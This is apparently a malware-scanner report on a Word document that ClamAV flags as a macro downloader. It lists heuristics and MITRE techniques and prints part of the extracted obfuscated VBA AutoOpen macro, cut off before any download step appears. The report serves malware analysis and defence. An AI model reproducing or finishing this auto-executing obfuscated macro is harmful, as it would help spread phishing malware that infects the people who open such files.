MALICIOUS
222
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The file is identified as malicious by ClamAV and contains a high-severity heuristic for VBA macros with an AutoOpen execution. The AutoOpen VBA macro is obfuscated but appears to contain logic for executing code, likely to download a secondary payload. The presence of legacy WordBasic auto-exec markers and GetObject calls further indicates malicious intent.
Heuristics 7
-
ClamAV: Doc.Downloader.Valyria-6595163-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Valyria-6595163-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
GetObject call high OLE_VBA_GETOBJGetObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 77249 bytes |
SHA-256: e5acf694462624a5b3dd6319927b1e7d2dbb7135f7f0c11f774f119a25797cec |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub BaMIleaYGlyVuceQoj()
XuVAniVYfUjavg = InStr("dyvIJbIXUcy", "dyvIJbIXUcydyvIJbIXUcy")
End Sub
Sub AutoOpen()
Dim PEhuXyQeHeZIFApiq
Dim qYdoHyQoCuD
qYdoHyQoCuD = Log(10)
qYdoHyQoCuD = qYdoHyQoCuD + Log(12)
For PEhuXyQeHeZIFApiq = 6 To 11
Dim GeiIZUTOSiqIN
GeiIZUTOSiqIN = Rnd(101)
If GeiIZUTOSiqIN > 26106 Then
GeiIZUTOSiqIN = Exp(1)
End If
Dim xOzezEcAsOXYloNUMupo
For xOzezEcAsOXYloNUMupo = 1 To 12
Dim nyoKuKESuJeDuFeNIj
nyoKuKESuJeDuFeNIj = Fix(45634)
Next
Dim qeMYmYZAcILOgeGOVZBaWy
Dim XotaKeCAvafiqO
XotaKeCAvafiqO = Rnd(134)
If XotaKeCAvafiqO > 43283 Then
XotaKeCAvafiqO = Exp(4)
End If
Dim juuKagIWIKwcIHoQelyBU
For juuKagIWIKwcIHoQelyBU = 10 To 11
Dim pEPaZAHydeqygiNuNYx
pEPaZAHydeqygiNuNYx = Fix(72383)
Next
qeMYmYZAcILOgeGOVZBaWy = Fix(48907)
Next
Debug.Print "MoCUqoFytALy"
QijYgOiaSidevokHiXEZm = Val("5447.8") & "VYkaiygyaepYz"
On Error Resume Next
JYwOrExaFaXePifOHohyRIKI = InStr("MuxoQECaRAZuxoDAkeQwOT", "MuxoQECaRAZuxoDAkeQwOTMuxoQECaRAZuxoDAkeQwOT")
SXikYHeDIlYteRE = InStr("TohUWaLamaQUMkEkSUdU", "TohUWaLamaQUMkEkSUdUTohUWaLamaQUMkEkSUdU")
Dim TILODehavLAPA
DeBihUfxNIROroxar = Val("60034.10") & "LoHibeBWiJiWygUQ"
Dim xeMavoGyVoKyLoHoJOHitat
For xeMavoGyVoKyLoHoJOHitat = 9 To 10
Dim XONyWofaiERvOVemAqY
XONyWofaiERvOVemAqY = Fix(39534)
Next
For TILODehavLAPA = 4 To 12
Dim vYpoPOpevipDupYh
iwIlAqazUHAiYrOWoK = InStr("KEmiqonyNOPAseHEwITEgu", "KEmiqonyNOPAseHEwITEguKEmiqonyNOPAseHEwITEgu")
deGUKakoWEhOGENAly = InStr("WuKYSneVEsyBAhaKe", "WuKYSneVEsyBAhaKeWuKYSneVEsyBAhaKe")
vYpoPOpevipDupYh = Fix(77245)
TiLeCIiosenYaAvO = InStr("hyPeqaZoBecOb", "hyPeqaZoBecObhyPeqaZoBecOb")
Next
FuJAiRaSluJOGI = Val("9689.10") & "lYCaFIRULOFet"
rYiaravobILuLosa = Val("57368.10") & "CaqAaYFYjojEp"
ZleVItiTeRakOlhaC = 54508
Dim LEfUNEGyxaiXuMOgFpYlo
For LEfUNEGyxaiXuMOgFpYlo = 7 To 10
Dim zYgYDyTIZUPOSi
zYgYDyTIZUPOSi = Fix(47691)
cobaiArUpOqYVEvAh = 27783
Next
Dim jeyLoDyweqaXo
jeyLoDyweqaXo = Rnd(104)
Dim ToCiNEDeLEaIzeTyc
ToCiNEDeLEaIzeTyc = Rnd(106)
If ToCiNEDeLEaIzeTyc > 47470 Then
ToCiNEDeLEaIzeTyc = Exp(6)
End If
If jeyLoDyweqaXo > 13498 Then
Dim HAZDARAaia
HAZDARAaia = Rnd(121)
If HAZDARAaia > 44470 Then
HAZDARAaia = Exp(1)
End If
puTEbOtyFIXATiDOkVYHEX = InStr("JUdxaHAkanujya", "JUdxaHAkanujyaJUdxaHAkanujya")
jeyLoDyweqaXo = Exp(4)
Debug.Print "cWEjyREtuDOKY"
RisiqAhakC = InStr("QubogIvuJOziTAeSEkyHuzI", "QubogIvuJOziTAeSEkyHuzIQubogIvuJOziTAeSEkyHuzI")
End If
Dim laxAKedufiNU
laxAKedufiNU = Log(9)
laxAKedufiNU = laxAKedufiNU + Log(10)
doWuWaKYHohOFYqa = Val("20102.8") & "CaxeRoJYjOZEHA"
Dim qIdITOZaNINUwUVUzeJa
Debug.Print "VaNaOVIdIGyMOWyDycuj"
qIdITOZaNINUwUVUzeJa = Log(4)
FeBEfEvoCyCacOPISOmua = 91087
Debug.Print "xOzOrOPoPwiHaIGaQAgoL"
Dim coaOziFyQuMypeJ
coaOziFyQuMypeJ = Log(4)
coaOziFyQuMypeJ = coaOziFyQuMypeJ + Log(12)
qIdITOZaNINUwUVUzeJa = qIdITOZaNINUwUVUzeJa + Log(10)
MoMiByfEDYgunAtUhaDEdoQY = ""
Dim xNUhOsIWuRaoWEjin
xNUhOsIWuRaoWEjin = Rnd(119)
Dim pkEsyqAaUruKyVagEje
pkEsyqAaUruKyVagEje = Log(3)
pkEsyqAaUruKyVagEje = pkEsyqAaUruKyVagEje + Log(13)
If xNUhOsIWuRaoWEjin > 87610 Then
Debug.Print "RAFYqEvUzyiIsykaKyZI"
Debug.Print "BIcDUCIReuJEpJyZiXiC"
xNUhOsIWuRaoWEjin = Exp(9)
dUeCArYXyt = Val("6893.1") & "puwYmucaDOKUdOlAqoMeBy"
Debug.Print "rqOJIWUaePIzIv"
End If
Dim gOtiaCONW
For gOtiaCONW = 9 To 12
Dim iHadaWOzEvONOWU
iHadaWOzEvONOWU = Fix(84145)
Next
MoMiByfEDYgunAtUhaDEdoQY = MoMiByfEDYgunAtUhaDEdoQY + IIf((304 + 608) = 912, "s", "DWb9m")
upIdOpIqZayMEzakOBUm = Val("5185.1") & "nafeKAiuDabfUPi"
aiGiAtOLiNYXEHySEkYBow = InStr("zUHuDYgafeWUxIXoWYiaaIgA", "zUHuDYgafeWUxIXoWYiaaIgAzUHuDYgafeWUxIXoWYiaaIgA")
NGuwiLhormobUV = InStr
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.